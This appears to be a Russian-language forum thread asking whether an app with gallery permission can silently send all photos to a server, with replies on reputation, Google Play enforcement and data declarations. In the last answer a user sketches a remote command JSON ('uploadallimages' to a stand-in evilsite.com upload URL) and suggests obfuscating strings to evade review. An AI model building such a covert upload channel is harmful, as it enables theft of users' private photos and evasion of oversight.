Может ли приложение, получив доступ к галерее, взять и отправить втихую все фотки себе на сервер?

Question

[Карлиндоу Мэрлифи]

что думаете по этому поводу?
если это технически возможно, то отследить можно только с помощью сниффера думаю, но думаю крупные компании таким не промышляют, потому что хоть один случай выявится, то репутации больно будет, а вот мелкие, или другие, которым пофиг

Comments

[CityCat4]

Есть такие крупные компании, которым уже срать на репутацию - все равно ежики будут колоться, плакать, но жрать кактус.
Примеры? Google, Apple. Только что тут в одном из тредов чувак пишет, что ему гугл забанил учетку разработчика за то, что ему (гуглу) показалось, что этот чел обменивается данными с другими, забаненными разрабами...

Answer 1

[pfg21]

да. может. если есть дырка доступ значит есть доступ.
но гугл такие приложения активно отслеживает и банит.

Answer 2

[Олег]

Отправка фоток на сервер в фоне обычное поведение для любых сетевых дисков.
В этом нет ничего криминального. Остаётся разобраться с термином в тихую.
Фонарику такое нелогично. Явно троян.
Не давно ввели анкету о персональных данных. Фото туда попадают. Надо декларировать.

На сколько там жёстко именно с фото не в курсе.

Сам словил такое. Заявил что не собираю.
Летит отклонение на очередное обновление. Слышь там у тебя есть ввод телефона. Меняй анкету или убирай.

Мля . Модерации писать бесполезно. Никого не волнует, что это ввод для формирования куар кода. Через месяц обнули раздел . А обновы на Бет или частичное внедрение не проходят. Только фулл ролаут допустим. Блин у меня из-за такого развертывания 50 тысяч ошибку словили. Две недели срочные фиксы выпускал

Так я тому, что если в разделе написал, что фото передаешь на сервер, то можно хоть это будет не очевидно в самом приложении.

Answer 3

[Владимир Коротенко]

Хм предположим гипотетически что у приложения есть разрешения на галерею и интернет доступ.
Пусть оно обращается к серверу и получает json.
Пусть json выглядит примерно так:

"cmd": "uploadallimages",
"url": "https://evilsite.com/upload.php"

Никакая проверка не выявит ничего подозрительного, тем более что строки можно заменить цифрами.
Никакой сниффер кстати не поможет, будет только факт трафика по какому то адресу.